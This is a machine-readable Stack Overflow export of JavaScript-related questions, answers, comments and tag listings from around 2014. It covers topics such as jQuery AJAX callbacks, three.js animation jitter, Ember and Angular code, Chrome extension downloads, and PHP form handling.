has comment: http://stackoverflow.com/comment/107459913
has comment: http://stackoverflow.com/comment/75068014
score: 52
has comment: http://stackoverflow.com/comment/64713633
has comment: http://stackoverflow.com/comment/84002943
has comment: http://stackoverflow.com/comment/107559846
downvote count: 0
answers question: http://stackoverflow.com/q/25565475
upvote count: 52

http://stackoverflow.com/comment/39978765
score: 0
type: QuestionComment
has text: Omg. So you are ok with dark magic?
type: Comment
comment on: http://stackoverflow.com/q/25594414

http://stackoverflow.com/comment/40097044
comment on: http://stackoverflow.com/q/25659431
has text: Maybe it can be solved by using "arguments" property.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25602571
type: Question
has body: Apologies if this has already been asked in some way shape or form but I couldn't quite find exactly what I wanted to achieve so here goes. In this particular case, any AJAX call made to this specific servies always returns two properties like so : // Success Response { error : null, success : [ { ... some data here ... }, { ... some data here ... } ] } // Error Response { error : [ { ... some errors here ... }, { ... some errors here ... } ], success : null } // Global Handler $.ajaxSuccess( function (resp) { if(resp.error !== null) { /* Call a global function for handling API errors Prevent execution of AJAX callback */ apiHelper.doErrorValidation(resp.error); } else { // Execute specific success callback of the request function } }); // Specific Handler $.ajax(function () { url : 'theUrl', success : function (resp) { specificModule.specificFunction(resp.data); } }); As stated in the code block comments, how can I ensure that .ajaxSuccess() stops the AJAX call if resp.error !== null, but execute the success callback in the specific ajax call otherwise?
has comment: http://stackoverflow.com/comment/39993490
score: 0
tagged with: javascript
tagged with: jquery
tagged with: ajax
type: UnansweredQuestion
answer count: 0
has title: How can I call a specific success callback based on the result of .ajaxSuccess
has comment: http://stackoverflow.com/comment/39993378

http://stackoverflow.com/comment/40160456
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25693733
has text: I would use the `slice` method to return a sub array of the elements, short of the last element, which you can then join with commas. Then append the last element to the string with the `, and`. `var str = result.slice(0,result.length-1).join(", ") + " and " + result[result.length-1];`

http://stackoverflow.com/comment/48230346
has text: It would be nice if there was a fiddle or a plunker example, so we can easily see if it works.
comment on: http://stackoverflow.com/a/29937880
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25691849
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40208076
tagged with: javascript
has answer: http://stackoverflow.com/a/25739772
has comment: http://stackoverflow.com/comment/40198522
answer count: 2
has answer: http://stackoverflow.com/a/25793791
accepted answer: http://stackoverflow.com/a/25793791
upvote count: 1
possible better answer: http://stackoverflow.com/a/25739772
favorite count: 0
has title: Jerky animated movements in three.js Animation
tagged with: three.js
tagged with: tween.js
downvote count: 0
has body: Hi i have problem with animation and movement in my three.js scene. When I move my camera (even by 0,0000001%)(by THREE.TrackballControls OR THREE.OrbitControls) or when I animate object using Tween.js, my animation is very jerky, object is jumping durning animatinon around the axis of movement, look like it is error with rounding in position. Problem is bigger, when i move far from scene center (senter is on vertex (0,0,0)) for example I'm on vertex (0,8000000,0) and problem is bigger. It is doing when I move camera or move object. Im using standard example codes and satndard libraries: I will be post a part of code here, but i don't know which part of code..? Video of problem here: Video of screen EDIT: i try to move positions of object and camera close to the center (on XYZ:0,0,1000), it is much less jitter, but error is still remarkable: Video 2 here
score: 1
linked to: http://stackoverflow.com/q/15098479
has comment: http://stackoverflow.com/comment/40168669
type: Question

http://stackoverflow.com/a/25621847
has comment: http://stackoverflow.com/comment/40033601
score: 1
has comment: http://stackoverflow.com/comment/40055034
upvote count: 1
has comment: http://stackoverflow.com/comment/40030606
has comment: http://stackoverflow.com/comment/57788384
downvote count: 0
answers question: http://stackoverflow.com/q/25618899
type: AcceptedAnswer
has body: The below code works in firefox 31.0,IE 10 and crome 36.0.1985.143. But it dose not work well if CTRL keys is used also. $('select').bind("click", function (event, target) { event.preventDefault(); var CurrentIndex = event.target.selectedIndex==undefined? $(event.target).index(): event.target.selectedIndex var CurrentOption = $("option:eq(" + CurrentIndex+ ")", $(this)); if ($(CurrentOption).attr('data-selected') == undefined || $(CurrentOption).attr('data-selected') == 'false') { $(CurrentOption).attr('data-selected', true); } else { $(CurrentOption).prop('selected', false).attr('data-selected', false); } $("option", $(this)).not(CurrentOption).each(function (Index, OtherOption) { $(OtherOption).prop('selected', ($(OtherOption).attr('data-selected') == 'true') ? true : false); }); return false; });
accepted answer of: http://stackoverflow.com/q/25618899
type: Answer

http://stackoverflow.com/a/25689371
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25689269
has body: Use PreventDefault() to cancel postback, becouse your button does not have type so HTML put the default behavior like submit, try: $('#check').click(function(e) { e.preventDefault(); if ( $('#city').val() == '' ) { alert('Empty!!!'); } else { $('#fullName').val("hi"); } }); LIVE DEMO
answers question: http://stackoverflow.com/q/25689269
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/q/25558101
linked to: http://stackoverflow.com/q/12790297
has answer: http://stackoverflow.com/a/25558256
downvote count: 4
has answer: http://stackoverflow.com/a/25558158
has comment: http://stackoverflow.com/comment/39911045
has body: I want to hide a button on click using jquery and not using inline functions. I have the HTML: click me and the JS: $("#mybutton").on("click", hideelement); hideelement = function() { $(this).hide(); } the button does not hide on click. What am I doing wrong?
has comment: http://stackoverflow.com/comment/39911001
favorite count: 0
has comment: http://stackoverflow.com/comment/39911308
has comment: http://stackoverflow.com/comment/39911095
answer count: 5
has answer: http://stackoverflow.com/a/25558516
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39911056
has answer: http://stackoverflow.com/a/25558152
linked to: http://stackoverflow.com/q/336859
has title: hide button with jquery
has answer: http://stackoverflow.com/a/25558154
has comment: http://stackoverflow.com/comment/39911247
upvote count: 3
has comment: http://stackoverflow.com/comment/39911043
type: Question
tagged with: javascript
tagged with: jquery
score: -1

http://stackoverflow.com/q/25628002
has answer: http://stackoverflow.com/a/25628273
tagged with: javascript
score: 0
tagged with: ember.js
has title: EmberJS - Strange Behavior Retrieving Model from Controller
tagged with: ember-cli
accepted answer: http://stackoverflow.com/a/25630972
has body: I also posted this on discuss.emberjs.com but trying to see if anyone here knows the solution. So I am trying to retrieve the model from the ArrayController but for some reason I cannot retrieve it as it is giving me undefined/empty arrays. On my init function in the ArrayController, I have the following: init: function(){ this._super(); console.log(this); console.log(this.content); console.log(this.get('content')); console.log(this.model); console.log(this.get('model')); } "this.content" and "this.model" evaluates as undefined. Both .get() returns an empty array. But the strange thing is that "console.log(this);" prints the following: Class {_subControllers: Array[0], toString: function, __ember1409674198526: "ember453", __ember_meta__: Object, constructor: function…} __ember1409674198526: "ember453" __ember_meta__: Object __nextSuper: undefined _qpDelegate: function (controller, prop) { _subControllers: Array[0] model: Class __ember1409674198526: "ember392" __ember_meta__: Object __nextSuper: undefined content: Array[8] isLoaded: true isUpdating: false store: Class toString: function () { return ret; } type: my-app-v3@model:suit: __proto__: Object toString: function () { return ret; } __proto__: Object So "this" has model I need under model->content (the array of 8 elements). I'm really confused to why I am getting these errors when just accessing the inner elements of "this". Anyone know why this strange behavior is happening? For reference, I am using Ember-CLI (0.0.42).
has answer: http://stackoverflow.com/a/25630972
type: AnsweredQuestion
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/25628273

http://stackoverflow.com/comment/40124122
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25674596
type: QuestionComment
has text: In composition I put the "receiver" at the end, so `div = curry (x, y) => y / x`. This is the behavior I would expect by default.

http://stackoverflow.com/a/25554158
answers question: http://stackoverflow.com/q/25554095
accepted answer of: http://stackoverflow.com/q/25554095
upvote count: 2
type: AcceptedAnswer
type: Answer
score: 2
downvote count: 0
has body: You can do this, but you have to be careful to escape your string. The string inside the single quotes must be escaped properly for this to work.

http://stackoverflow.com/q/25611891
accepted answer: http://stackoverflow.com/a/25612078
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has body: I want to parse an xml file given as a php variable with the use of jquery: jQuery.parseXML() This is my file content: <?php $xml=" RSS Title "; ?> but what if my xml variable is like this: $xml ='<?xml version="1.0" encoding="UTF-8" ?> '; how to display for example d1 or d4?
has answer: http://stackoverflow.com/a/25612078
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
has title: parse xml data with jquery
upvote count: 1
type: Question
score: 1

http://stackoverflow.com/q/25633036
type: Question
tagged with: http://stackoverflow.com/tag/json
tagged with: javascript
has answer: http://stackoverflow.com/a/25633697
answer count: 3
downvote count: 0
has body: My last and final question. I cannot seem to use the .downloads function in the extension. I get the error Cannot read property 'download' of undefined Beware I removed some of the code so it can fit here My code is var contentInput = document.createElement("div") contentInput.innerHTML = ' Download .OBJ Click to download the OBJ version of this asset. ' contentInput = contentInput.children[0].children[0] localStorage.setItem("OBJURL", jsonObject.Url); //It's saved! }); var objurl = localStorage.getItem("OBJURL"); SendRequest(objurl, function (objfinal) { }); chrome.downloads.download({url:objurl,filename:"wat23333.obj",conflictAction:"overwrite"}) chrome.extension.sendRequest({ action: "EditContent", type: assetType, name: assetName, content: contentData }) } Manifest file Permissions "permissions": [ "http://*.roblox.com/*", "http://*.rbxcdn.com/*", "downloads", "downloads.open" ],
favorite count: 0
has title: Chrome Extension: Download
type: UnansweredQuestion
tagged with: google-chrome-extension
has answer: http://stackoverflow.com/a/44134051
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/25633557
tagged with: google-chrome

http://stackoverflow.com/comment/39985720
comment on: http://stackoverflow.com/a/25598271
type: AnswerComment
has text: which function has to be stopped?
score: 0
type: Comment

http://stackoverflow.com/a/25610655
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25605368
has body: You could dynamically change the url of the form tag to include textbox values: var textboxes = document.getElementsByTagName("input"); for (var i = 0; i &lt; textboxes.length; i++){ var data = "?"; if (textboxes[i].type == "text") { data += (data == "?" ? "" : "&amp;") + textboxes[i].name + "=" + textboxes[i].value; } } form.action += data; I haven't tested this, you might have to dynamically add all elements [UPDATE] If you have trouble with the form you can try using an absolute path, if you aren't already.

http://stackoverflow.com/comment/40027333
type: Comment
type: QuestionComment
has text: click on edit, after the tags: http://stackoverflow.com/posts/25621191/edit
comment on: http://stackoverflow.com/q/25621191
score: 0

http://stackoverflow.com/q/25707093
has answer: http://stackoverflow.com/a/25707440
upvote count: 3
answer count: 1
favorite count: 0
tagged with: angularjs
has body: For some reason elmFinder.isEnabled() resolves to true even on disabled html anchor tags. I've setup a test site to prove this. The following Protractor test fails when IMHO shouldn't describe('isEnabled() should resolve to true on any html element', function() { var checkElm = element(by.model('checked')); var btnElm = element(by.model('button')); var linkElm = element(by.model('link')); it('open test page', function() { browser.get('http://run.plnkr.co/plunks/oExtzK/'); }); it('should be enabled by default: button &amp; link', function() { expect(btnElm.isEnabled()).toBeTruthy(); expect(linkElm.isEnabled()).toBeTruthy(); }); it('clicks the checkbox to switch enabled/disabled status', function() { checkElm.click(); }); it('button should now be disabled', function() { expect(btnElm.isEnabled()).toBeFalsy(); }); // This fails it('link should now be disabled', function() { expect(linkElm.isEnabled()).toBeFalsy(); }); }); Output: Describe: isEnabled() should resolve to true on any html element 001 - open test page ✔ 002 - should be enabled by default: button &amp; link ✔ 003 - clicks the checkbox to switch enabled/disabled status ✔ 004 - button should now be disabled ✔ 005 - link should now be disabled FAILED! Message: Expected true to be falsy. Stacktrace: Error: Failed expectation
tagged with: selenium-webdriver
type: AnsweredQuestion
score: 3
has title: Disabled anchor returns enabled using WebElement.isEnabled()
tagged with: selenium
accepted answer: http://stackoverflow.com/a/25707440
type: Question
tagged with: protractor
downvote count: 0
tagged with: javascript

http://stackoverflow.com/a/25706724
has comment: http://stackoverflow.com/comment/40183206
has comment: http://stackoverflow.com/comment/40183102
has body: $('.artist-ken').click(function(e){ e.preventDefault(); $(".artists-home").hide( 0, function() { $('.ken-gallery').show(); }); });
has comment: http://stackoverflow.com/comment/40183185
answers question: http://stackoverflow.com/q/25706657
type: Answer
has comment: http://stackoverflow.com/comment/40183224
has comment: http://stackoverflow.com/comment/40183226
score: 0

http://stackoverflow.com/comment/40175647
type: Comment
comment on: http://stackoverflow.com/a/25702738
has text: i dont under stand where index 1 and 2 come from
type: AnswerComment
score: 0

http://stackoverflow.com/a/25618126
type: Answer
has comment: http://stackoverflow.com/comment/40021786
answers question: http://stackoverflow.com/q/25617562
has body: What about animating it back to 0 with some animation as you are sliding your slides with animation. For example if (left &lt;= -800) { $('#sliderlist').animate({ left: "0px" }, "slow", "swing"); } else { $('#sliderlist').animate({ left: "-=400" }, "slow", "swing"); } Animate from last slide to the first slide with some animation and it looks normal and this is the way many of jQuery sliders work.
score: 0

http://stackoverflow.com/comment/39984370
comment on: http://stackoverflow.com/a/25589198
type: Comment
has text: In the long run you probably need to do something more sophisticated as in Neil's answer, and you may not want a global, but at least you are started.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25613737
type: Question
tagged with: asp.net-mvc
has comment: http://stackoverflow.com/comment/40014270
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40014146
tagged with: javascript
has comment: http://stackoverflow.com/comment/40014094
has answer: http://stackoverflow.com/a/25613929
tagged with: radio-button
has comment: http://stackoverflow.com/comment/40014068
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40014070
has comment: http://stackoverflow.com/comment/40014208
favorite count: 0
has comment: http://stackoverflow.com/comment/40014082
type: UnansweredQuestion
has body: I have this view. It's ok besides that I want to add: onclick="javascript:SubmitClick(@Model.id, answer.Id);" to definition of RadioButtons in it. @model WebApplication2.Models.Question &lt;div&gt; @Html.HiddenFor(x =&gt; x.Id) &lt;h3&gt; @Model.QuestionText &lt;/h3&gt; @foreach (var answer in Model.Answers) { &lt;p&gt; @Html.RadioButtonFor(b =&gt; b.SelectedAnswer, answer.Id) @answer.AnswerText &lt;/p&gt; } &lt;/div&gt; Question and Answer are models which look like that. public class Question { public int Id { set; get; } public string QuestionText { set; get; } public virtual ICollection&lt;Answer&gt; Answers { set; get; } public string SelectedAnswer { set; get; } //this field is SET after clicking the radio button, I don't need this field ant this behaviour } public class Answer { public int Id { set; get; } public string AnswerText { set; get; } } As far as I know b =&gt; b.SelectedAnswer this expression inside @Html.RadioButtonFor makes that after click the field SelectedAnswer in class Question will be set. I don't need that I only need that only one of those radio buttons inside foreach loop can be selected at the same time and clicking on them invokes onclick="javascript:SubmitClick(@Model.id, answer.Id);". Also it can be done in obsolete way, just to make it work. Screen which will help undestand how the view looks:
tagged with: razor
upvote count: 1
has comment: http://stackoverflow.com/comment/40014045
score: 1
has comment: http://stackoverflow.com/comment/40013987
has title: How to add onclick event to radio button in Razor View

http://stackoverflow.com/q/25634711
has body: I've been using a function called validateForm() to check forms before they're submitted. The basic form is: Now, I have two registration pages. One uses some simple HTML and CSS that I wrote myself and looks a million years old. The other leverages Bootstrap because I'm taking baby steps to modernizing the look of the pages I maintain. The plain HTML form has a structure like: First Name*: Last Name*: While the bootstrap page has a structure like: First Name* Last Name* Register Now, the plain HTML page, on submit does the appropriate check while the Bootstrap page ignores the check and goes straight to the ASP page that handles writing the results to the database. Why does one work and the other does not?
has comment: http://stackoverflow.com/comment/40052819
has title: JS not executing onsubmit with Bootstrap
score: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40052825
answer count: 0
tagged with: twitter-bootstrap
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40053985
has comment: http://stackoverflow.com/comment/40052847
has comment: http://stackoverflow.com/comment/40052830
has comment: http://stackoverflow.com/comment/40052605
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40052715

http://stackoverflow.com/comment/39975981
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25592088
has text: @Bergi Are you seriously? Object.create creates object with prototype, read ECMA-262. For creating chainloading effect needs return this from a constructor. Oh man, you need read a lot of books.

http://stackoverflow.com/a/25630659
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25630599
answers question: http://stackoverflow.com/q/25630599
type: AcceptedAnswer
has body: Short answer: you can't. The text is predefined by the browser. A workaround might be to use an image or a third party file uploader. Check out this related answer: How to change the button text of ?

http://stackoverflow.com/q/25594860
has body: I have a rails api setup using devise for auth and backbone.js for the front end. I am able to get users to sign up and sign in, but I am having trouble making subsequent requests to the api. I need to append an auth token and an email address to every request after the sign in order to make further requests but I am not sure how to do that. The flow of my app is like so send get request to /sign_in to set csrf header using custom backbone.sync send post request to /sign_in with credentials and get auth token back send token and email with every subsequent request Sending the token and email with every request is the issue I'm having. How can I append it to the request in backbone? Should I just add it to the http header like I am doing with the csrf token? Here is my set up so far. Api Controller with filters class ApiController &lt; ApplicationController respond_to :json before_filter :authenticate_user_from_token! # This is Devise's authentication before_filter :authenticate_api_v1_user! private def authenticate_user_from_token! user_email = params[:email].presence user = user_email &amp;&amp; User.find_by_email(user_email) if user &amp;&amp; Devise.secure_compare(user.authentication_token, params[:token]) sign_in user, store: false end end end Session Controller module Api module V1 class SessionsController &lt; Devise::SessionsController skip_before_filter :authenticate_user!, only: :create after_action :set_csrf_header, only: [:new, :create, :destroy] def new render nothing: true end def create user = User.find_for_database_authentication(:email =&gt; params[:email]) if user &amp;&amp; user.valid_password?(params[:password]) user.ensure_authentication_token # make sure the user has a token generated render :json =&gt; { :user =&gt; user }, :status =&gt; :created else return invalid_login_attempt end end def destroy # expire auth token user = User.where(:authentication_token =&gt; params[:authentication_token]).first user.reset_authentication_token! render :jso…
answer count: 1
tagged with: javascript
has title: Authenticated requests with a rails api, backbone.js and devise
tagged with: backbone.js
has answer: http://stackoverflow.com/a/25596089
type: AnsweredQuestion
tagged with: ruby-on-rails
accepted answer: http://stackoverflow.com/a/25596089
type: Question
tagged with: rails-api
tagged with: devise
score: 0

http://stackoverflow.com/q/25687053
tagged with: angularjs
tagged with: angular-seed
accepted answer: http://stackoverflow.com/a/25687115
tagged with: http://stackoverflow.com/tag/html
has title: Adding views to angular-seed project
score: 1
tagged with: web-applications
upvote count: 1
type: Question
type: AnsweredQuestion
tagged with: javascript
has answer: http://stackoverflow.com/a/25687115
has body: How do you add more views to an Angular-seed project? I just started this project and wanted to add more views so I copied the view2 folder and renamed it view3 (did the same for all files in the folder containing a view2 variable) and then added it to the module. angular.module('myApp', [ 'ngRoute', 'myApp.view1', 'myApp.view2', 'myApp.view3', 'myApp.version' ]). config(['$routeProvider', function($routeProvider) { $routeProvider.otherwise({redirectTo: '/view1'}); }]); the view3.js file looks like this: 'use strict'; angular.module('myApp.view3', ['ngRoute']) .config(['$routeProvider', function($routeProvider) { $routeProvider.when('/view3', { templateUrl: 'view3/view3.html', controller: 'View3Ctrl' }); }]) .controller('View3Ctrl', [function() { }]); Is there anything else angular-seed related you need to do because I'm getting these errors when I reload the page and I don't really know where to start with this. Been looking in the Bower_components folder but doesn't seem to be anything in there that you're supposed to alter. The third row talks about loading it, but loading it where? Uncaught Error: [$injector:modulerr] Failed to instantiate module myApp due to: Error: [$injector:modulerr] Failed to instantiate module myApp.view3 due to: Error: [$injector:nomod] Module 'myApp.view3' is not available! You either misspelled the module name or forgot to load it. If registering a module ensure that you specify the dependencies as the second argument. http://errors.angularjs.org/1.2.23/$injector/nomod?p0=myApp.view3 at http://localhost:8000/app/bower_components/angular/angular.js:78:12 at http://localhost:8000/app/bower_components/angular/angular.js:1677:17 at ensure (http://localhost:8000/app/bower_components/angular/angular.js:1601:38) at module (http://localhost:8000/app/bower_components/angular/angular.js:1675:14) at http://localhost:8000/app/bower_components/angular/angular.js:3878:22 at forEach (http://localhost:8000/app/bower_components/angular/angular.js:325:18…
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/40229766
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25647543
has text: I expanded my answer for you. I bet you can take it from here.

http://stackoverflow.com/q/25633566
tagged with: javascript
has title: php get value of unchecked checkboxes
tagged with: http://stackoverflow.com/tag/html
tagged with: php
tagged with: checkbox
type: AnsweredQuestion
has body: I require the values of unchecked checkboxes to be '0' so I can determine which values have been checked and for all values (checked + unchecked) to be posted ($_POST['chk]). I am using a for loop to create the checkboxes and I am generating a hidden field with a value of '0' (as has been suggested elsewhere on stackoverflow). There are 4 checkboxes ((count($result)-1) = 4) and when checkbox 1 &amp; 3 are checked while checkbox 2 &amp; 4 are unchecked, the $_POST['chk'] array ends up like this: Array ( [chk] =&gt; Array ( [0] =&gt; 0 [1] =&gt; 180.00 [2] =&gt; 0 [3] =&gt; 0 [4] =&gt; 100.00 [5] =&gt; 0 ) I want it to look like this: Array ( [chk] =&gt; Array ( [0] =&gt; 180.00 [1] =&gt; 0 [2] =&gt; 100.00 [3] =&gt; 0 ) What am I doing wrong? Is this even possible using a for loop and the hidden checkbox fields? Javascript: &lt;script type="text/javascript"&gt; function calculate() { var el, i = 0; var subtotal = 0; while(el = document.getElementsByName("chk[]")[i++]) { if(el.checked) { subtotal = subtotal + Number(el.value);} } var node = document.getElementById("subtotal"); node.innerHTML = "$" + subtotal + ".00"; var node = document.getElementById("total"); node.innerHTML = "$" + (subtotal*&lt;?=$no_nights?&gt;) + ".00"; } &lt;/script&gt; HTML/PHP: &lt;form id="booking_step2" name="booking_step2" method="POST" action="index.php?p=bookings?s=3"&gt; &lt;? for ($x=0; $x&lt;=(count($result)-1); $x++) { ?&gt; &lt;input type="hidden" name="chk[]" value="0"&gt; &lt;input type="checkbox" name="chk[]" value="&lt;?=$result[$x]['r_rate'];?&gt;" onclick="calculate()"&gt; &lt;? } ?&gt;
type: Question
has answer: http://stackoverflow.com/a/25633613
accepted answer: http://stackoverflow.com/a/25633613
linked to: http://stackoverflow.com/q/1809494
score: 0
answer count: 1

http://stackoverflow.com/a/25626801
has comment: http://stackoverflow.com/comment/40054405
type: Answer
score: 2
downvote count: 0
has body: First of all i highly recommend you not to put dom event logic inside a controller, it goes against everything done by the angular team to prevent that from happenning. What i'd do in your situation would be to create a directive somewhat like this: .directive('scrollAnchor', function($state) { return { link: function(scope, element, attrs){ scope.startListenToScroll = function(){ var position = element.position(); element.scrollspy({ min: position.top, max: position.top + $(this).height(), onEnter: function(ele, position) { if(ele.id){ $state.transitionTo('about.'+ele.id); } else { $state.transitionTo('about'); } } }); }; scope.stopListenToScroll = function(){ element.off().removeData(); }; }, controller: function($scope){ this.startListenToScroll = $scope.startListenToScroll; this.stopListenToScroll = $scope.stopListenToScroll; } }; }); And depending on where you are currently using your scrollTo directive, you could make it require scrollAnchor, being able to call it's functions defined with the "this" keyword at it's controller with something like .directive('scrollTo', function() { return { require: 'scrollAnchor', link: function(scope, element, attrs, scrollAnchorCtrl) { element.bind('click', function() { scrollAnchorCtrl.stopListenToScroll(); var divPosition = $('#'+attrs.scrollTo).offset(); $('html, body').animate({ scrollTop: divPosition.top }, "slow", function(){ scrollAnchorCtrl.startListenToScroll(); }); }); } }; }); I have not tried this code, just made it here as a proof of concept so that you can check if it applies to your needs. Cheers! If this code does not cover all your needs, then i'd suggest moving some of the logic to a service and make it dom-aware. It's not the best practice, but under some circumstances it's an accepted solution. Example of require usage to share directives logic just cooked for you! http://plnkr.co/edit/IxvLbGdNmkFfroCRX5sO?p=preview Cheers!
accepted answer of: http://stackoverflow.com/q/25625865
has comment: http://stackoverflow.com/comment/40041623
answers question: http://stackoverflow.com/q/25625865
has comment: http://stackoverflow.com/comment/40041242
has comment: http://stackoverflow.com/comment/40044422
has comment: http://stackoverflow.com/comment/40041575
has comment: http://stackoverflow.com/comment/40040673
upvote count: 2
has comment: http://stackoverflow.com/comment/40040959
type: AcceptedAnswer

http://stackoverflow.com/comment/40138451
score: 0
type: Comment
type: QuestionComment
has text: How about `JSON.stringify(newCart[i + 1]) == JSON.stringify(newCart[i])` ?
comment on: http://stackoverflow.com/q/25682542

http://stackoverflow.com/comment/40073526
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25645993
has text: Does your project use any compiled addons (either directly or indirectly)? If so, you'll have to rebuild/reinstall them.
type: Comment

http://stackoverflow.com/comment/40263766
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25688211
has text: There are a lot of moving pieces that go along with this table, but I will try to get a fiddle together.
score: 0

http://stackoverflow.com/q/25691055
answer count: 1
downvote count: 0
tagged with: javascript
has title: Node.Js prompt user input
tagged with: sql-server-2008
has answer: http://stackoverflow.com/a/25693425
tagged with: node.js
favorite count: 0
has comment: http://stackoverflow.com/comment/40155717
upvote count: 1
has body: I'm creating a desktop application that talks to SQL Server for MAC users using Node.JS. Is it possible in Node.JS to take the input from the user and display the data from SQL server based on user input? For example, in the code below, can I put an input box onload and allow user to input customercode and display InvoiceNumber and customername. Also, will I be able to run the below code on MAC? @Serger B, I followed the link you suggested and was successfully able to connect to SQL Server. How can I add a user prompt to enter the customerCode for the below code? Also, it would be great is someone could help me running the script from the browser. var sql = require('mssql'); var config = { user: 'temp', password: 'test123', server: 'laptop\\localDB', // You can use 'localhost\\instance' to connect to named instance database: 'AVTemp01', } var connection = new sql.Connection(config, function(err) { // ... error checks // Query var request = new sql.Request(connection); // or: var request = connection.request(); request.query('select top 5 companycode from invoiceheader', function(err, recordset) { // ... error checks console.dir(recordset); }); // Stored Procedure var request = new sql.Request(connection); request.input('input_parameter', sql.Int, 10); request.output('output_parameter', sql.VarChar(50)); request.execute('procedure_name', function(err, recordsets, returnValue) { // ... error checks console.dir(recordsets); }); });
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25693425
score: 1
type: Question

http://stackoverflow.com/comment/40091183
comment on: http://stackoverflow.com/q/25655892
type: QuestionComment
type: Comment
score: 1
has text: Can you post the html of the textbox? You've tagged `asp.net` you may have created a server-side event which will cause a postback

http://stackoverflow.com/comment/40051379
score: 0
type: Comment
has text: Thank you, I used this method and it worked great. I tried altering it so that both descriptions can't show at once but I am having trouble targetting all the descriptions excluding the one clicked.
comment on: http://stackoverflow.com/a/25616040
type: AnswerComment

http://stackoverflow.com/comment/40081679
has text: Yes. How many times to call it is random, the first time, it can be calling the function a() 3 times. Later in the day, it can be calling the function a() 20 times. How many time to call it is done randomly. The $.Deferred.then() doesn't do random # of times to call the function a().
comment on: http://stackoverflow.com/q/25650846
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/25673648
has comment: http://stackoverflow.com/comment/40154848
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40183632
has body: You don't need a single quote to specify which view you're rendering. This should be enough: {{#view App.SomeView}}Link Text{{/view}} You also don't need quotes for declaring the data attributes in your class. The data attributes can be mapped like this: App.SomeView = Em.View.extend({ tagName: 'a', attributeBindings: ['href', 'dataImgone:data-imgone'], href: 'http://emberjs.com', dataImgone: "public/images/firstimg.jpg", }); (see jsbin) Note that in the attributeBindings, I'm passing the function/property that feeds an attribute followed by :attributename which in this case is data-imgone, as ['dataImgone:data-imgone'].
score: 1
has comment: http://stackoverflow.com/comment/40181146
accepted answer of: http://stackoverflow.com/q/25671631
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25671631
downvote count: 0

http://stackoverflow.com/comment/40034960
type: QuestionComment
comment on: http://stackoverflow.com/q/25625290
type: Comment
score: 5
has text: Because the `a[i++]` is what each key of `o` is assigned to. Normally you'd use a variable, but instead you're using Array members. Same operation.

http://stackoverflow.com/a/25617165
has body: You could set a query string on the page on reload/submit, f.ex: http://domain.com/?submitted Then look for it in javascript: if ( /^\?submitted/.test(window.location.search) ) { disableSendVerifButton(); } Using a cookie: do somehting like this on submit/click before reload: document.cookie='submitted=1;' And then: if ( /submitted\=1;/.test(document.cookie) ) { document.cookie='submitted=; expires=Thu, 01 Jan 1970 00:00:01 GMT;' disableSendVerifButton(); } Other options are localstorage or submitting through ajax.
upvote count: 2
has comment: http://stackoverflow.com/comment/40020160
answers question: http://stackoverflow.com/q/25617091
has comment: http://stackoverflow.com/comment/40022023
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25617091
score: 2

http://stackoverflow.com/comment/40178684
type: QuestionComment
comment on: http://stackoverflow.com/q/25704151
has text: on the extensions page, where your extension is. of course if you have a background page. http://imgur.com/pQOvzfJ . if you click it another window will open with a different console. same thing happens when you right click your extension's icon and choose 'Inspect popup'. Another console with different context. That is why i said if the code is run from one of these contexts, you won't see their logs in current tab's console.
score: 0
type: Comment

asp.net-mvc
tags question: http://stackoverflow.com/q/25561829
tags question: http://stackoverflow.com/q/25567081
tags question: http://stackoverflow.com/q/25613737
tags question: http://stackoverflow.com/q/25556559
tags question: http://stackoverflow.com/q/25642657
tags question: http://stackoverflow.com/q/25699195
tags question: http://stackoverflow.com/q/25619159
tags question: http://stackoverflow.com/q/25576925
tags question: http://stackoverflow.com/q/25592201
tags question: http://stackoverflow.com/q/25606161
tags question: http://stackoverflow.com/q/25647966
tags question: http://stackoverflow.com/q/25664016
tags question: http://stackoverflow.com/q/25693240
tags question: http://stackoverflow.com/q/25703442
tags question: http://stackoverflow.com/q/25555823
tags question: http://stackoverflow.com/q/25703925
tags question: http://stackoverflow.com/q/25704257
tags question: http://stackoverflow.com/q/25603217
tags question: http://stackoverflow.com/q/25579752
tags question: http://stackoverflow.com/q/25627004
tags question: http://stackoverflow.com/q/25689879
tags question: http://stackoverflow.com/q/25594217
tags question: http://stackoverflow.com/q/25640585
tag name: asp.net-mvc
tags question: http://stackoverflow.com/q/25571661
tags question: http://stackoverflow.com/q/25666765
tags question: http://stackoverflow.com/q/25594193
tags question: http://stackoverflow.com/q/25693844
tags question: http://stackoverflow.com/q/25688528
tags question: http://stackoverflow.com/q/25587121
tags question: http://stackoverflow.com/q/25554722
tags question: http://stackoverflow.com/q/25683714
tags question: http://stackoverflow.com/q/25698574
tags question: http://stackoverflow.com/q/25658555
tags question: http://stackoverflow.com/q/25599411
tags question: http://stackoverflow.com/q/25704309
